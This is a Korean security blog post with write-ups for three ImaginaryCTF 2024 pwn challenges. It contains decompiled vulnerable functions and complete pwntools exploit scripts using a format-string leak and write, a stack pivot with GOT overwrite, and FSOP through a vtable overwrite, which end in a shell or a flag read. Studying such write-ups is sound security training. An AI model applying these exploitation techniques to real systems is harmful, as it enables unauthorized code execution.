ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

ImaginaryCTF 2024 (Pwn)
CTF

ImaginaryCTF 2024 (Pwn)

2024. 7. 22. 23:01

시간 날 때 포너블 문제 구경했고 3개 풀었다

 

[ solved ]

pwn / imgstore

더보기

바이너리는 좀 긴데 리네이밍하면서 보니 취약한 부분은 한정되어 있었다.

3번 메뉴인 sell 함수에서 fsb 트리거할 수 있고

feedbeef 조건 맞춰주면 bof를 트리거할 수 있다. 

근데 bof는 트리거 해도 fgets가 작동을 안한다.

(왜 그런진 모르겠음)

 

그래서 그냥 리턴 주소를 원가젯으로 덮어서 쉘 땄다.

unsigned __int64 sell()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char title[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(title, 0x32, stdin);
    printf("Book title --> ");
    printf(title);                              // fsb
    puts(&s);
    if ( 0x13F5C223 * buf == feedbeef )
    {
      dword_608C = 2;
      bof(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall bof(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  logo2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar('>');
    fgets(s, 0xA0, stdin);                      // bof
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

 

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'

def sell(title):
	p.sendlineafter(b'title:',title)
	p.recvuntil(b'Book title --> ')
	data = p.recvline()[:-1]
	p.sendlineafter(b'[y/n]: ',b'y')
	return data

p = process('./imgstore')
p = remote('imgstore.chal.imaginaryctf.org', 1337)
p.sendlineafter(b'>> ',b'3')

stack = int(sell(b'%15$p'),16)
print('stack', hex(stack))

canary = int(sell(b'%17$p'),16)
print('canary', hex(canary))

libc = int(sell(b'%25$p'),16) - 0x24083
print('libc', hex(libc))
one = [0xe3afe,0xe3b01,0xe3b04]
og = libc + one[1]

magic = int(sell(b'%7$p'),16) & 0xffffffff
magic *= 0x13F5C223
print('magic', hex(magic))

pie = int(sell(b'%14$p'),16) - 0x22b0
print('pie', hex(pie))

sell(fmtstr_payload(8, {stack-0x18:og&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x17:(og>>8)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x16:(og>>16)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x15:(og>>24)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x14:(og>>32)&0xff}, write_size='byte'))
sell(fmtstr_payload(8, {stack-0x13:(og>>40)&0xff}, write_size='byte'))

p.sendlineafter(b'title:',b'title')
p.sendlineafter(b'[y/n]: ',b'n')

p.interactive()

 

pwn / ropity

더보기

 

fgets를 한 번만 할 수 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 0x100, _bss_start);
}

 

문제 설명에 플래그 파일 이름이 "flag.txt"인 것을 알려줬고 printfile이라는 함수가 있는 것으로 보아

이걸 이용해 플래그를 읽어내야 함을 추측할 수 있다.

signed __int64 __fastcall printfile(const char *a1, __int64 a2, int a3)
{
  int v3; // esi
  size_t v4; // r10

  v3 = sys_open(a1, 0, a3);
  return sys_sendfile(1, v3, 0LL, v4);
}

 

두 함수의 어셈을 보면서 문제를 풀었다.

.text:0000000000401136                 public main
.text:0000000000401136 main            proc near               ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s               = byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136                 endbr64
.text:000000000040113A                 push    rbp
.text:000000000040113B                 mov     rbp, rsp
.text:000000000040113E                 sub     rsp, 10h
.text:0000000000401142                 mov     rdx, cs:__bss_start ; stream
.text:0000000000401149                 lea     rax, [rbp+s]
.text:000000000040114D                 mov     esi, 100h       ; n
.text:0000000000401152                 mov     rdi, rax        ; s
.text:0000000000401155                 call    _fgets
.text:000000000040115A                 nop
.text:000000000040115B                 leave
.text:000000000040115C                 retn
.text:000000000040115D                 public printfile
.text:000000000040115D printfile       proc near
.text:000000000040115D
.text:000000000040115D var_8           = qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D                 endbr64
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 mov     [rbp+var_8], rdi
.text:0000000000401169                 mov     rax, 2
.text:0000000000401170                 mov     rsi, 0          ; flags
.text:0000000000401177                 syscall                 ; LINUX - sys_open
.text:0000000000401179                 mov     rsi, rax        ; in_fd
.text:000000000040117C                 mov     rdi, 1          ; out_fd
.text:0000000000401183                 mov     rdx, 0          ; offset
.text:000000000040118A                 mov     r8, 100h
.text:0000000000401191                 mov     rax, 28h ; '('
.text:0000000000401198                 syscall                 ; LINUX - sys_sendfile
.text:000000000040119A                 nop
.text:000000000040119B                 pop     rbp
.text:000000000040119C                 retn

 

스탯 피봇팅으로 got overwrite를 수행해서 fgets를 printfile 함수 중간으로 바꿔서 문제를 풀었다. 

from pwn import *

# context.log_level = 'debug'

# p = process('./vuln')
p = remote('ropity.chal.imaginaryctf.org', 1337)

main = 0x401142
printfile = 0x401165

pay = b'A'*8 + p64(0x404020) + p64(main)
p.sendline(pay)

pay = p64(printfile+4) + p64(0x404038) + p64(0x401149) + b'flag.txt\x00'
p.sendline(pay)

p.interactive()

 

pwn / onewrite

더보기

 

한 번만 쓸 수 있고 2.35이면서 full relro 보호기법이라서 뭔가 fsop인 것 같긴했다.

pwn.college에서 실습했던 _io_wfile_vtable을 오버라이트하는 방법으로 익스했다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf("%p\n> ", &printf);
  __isoc99_scanf("%p%*c", &s);
  fgets(s, 0x300, stdin);
  puts("bye");
  return v6 - __readfsqword(0x28u);
}

 

원가젯 조건 안맞아서 system 함수 써야 했는데 rdi 인자로 들어가는 부분이 flag 필드다.

"/bin/sh"로 하니까 세그 폴트 나버려서 어떻게 할지 고민하다가

다른 씨텝 라업 보다가 " sh"로 문자열 앞에 공백을 주는 것을 보고 그대로 적용했는데 쉘 따져서 신기했다.

from pwn import *

# p = process('./vuln')
libc = ELF('./libc.so.6')
p = remote('onewrite.chal.imaginaryctf.org', 1337)

p.recvline()
printf = int(p.recvline()[:-1],16)

libc_base = printf - libc.symbols['printf']
target = libc_base + libc.symbols['_IO_2_1_stdout_']
print('[stdout]',hex(target))

# gdb.attach(p)
# pause()

p.sendlineafter(b'>',hex(target))

io_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
io_wfile_overflow = io_wfile_jumps + 0x18
fake_vtable = io_wfile_overflow - 0x38
print('[libc_base]',hex(libc_base))
print('[fake_vtable]',hex(fake_vtable))

one = [0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebda8,0xebdaf,0xebdb3]
og = libc_base + one[0]
print('[og]',hex(og))

system = libc_base + libc.symbols['system']

pay = b' sh'+b'\x00'*5
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(target+0x80)
pay += p64(0)*2
pay += p64(target)
pay += p64(0)*6
pay += p64(fake_vtable)
pay += p64(target+0x80)
pay += p64(system)

p.sendline(pay)
p.interactive()

 

 

[ unsolved ]

 

나머진 라업 보고 작성을 할 수도 안 할 수도..

 

 

'CTF' 카테고리의 다른 글

SEKAI CTF 2024 (Pwn) - nolibc  (0) 2024.08.26
DeadSec CTF 2024 (Pwn)  (0) 2024.07.28
DownUnderCTF 2024 (Pwn)  (0) 2024.07.08
[hxpCTF 2020] kernel-rop (with write-up) (2)  (0) 2024.06.30
[hxpCTF 2020] kernel-rop (with write-up) (1)  (0) 2024.06.22
    'CTF' 카테고리의 다른 글
    • SEKAI CTF 2024 (Pwn) - nolibc
    • DeadSec CTF 2024 (Pwn)
    • DownUnderCTF 2024 (Pwn)
    • [hxpCTF 2020] kernel-rop (with write-up) (2)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바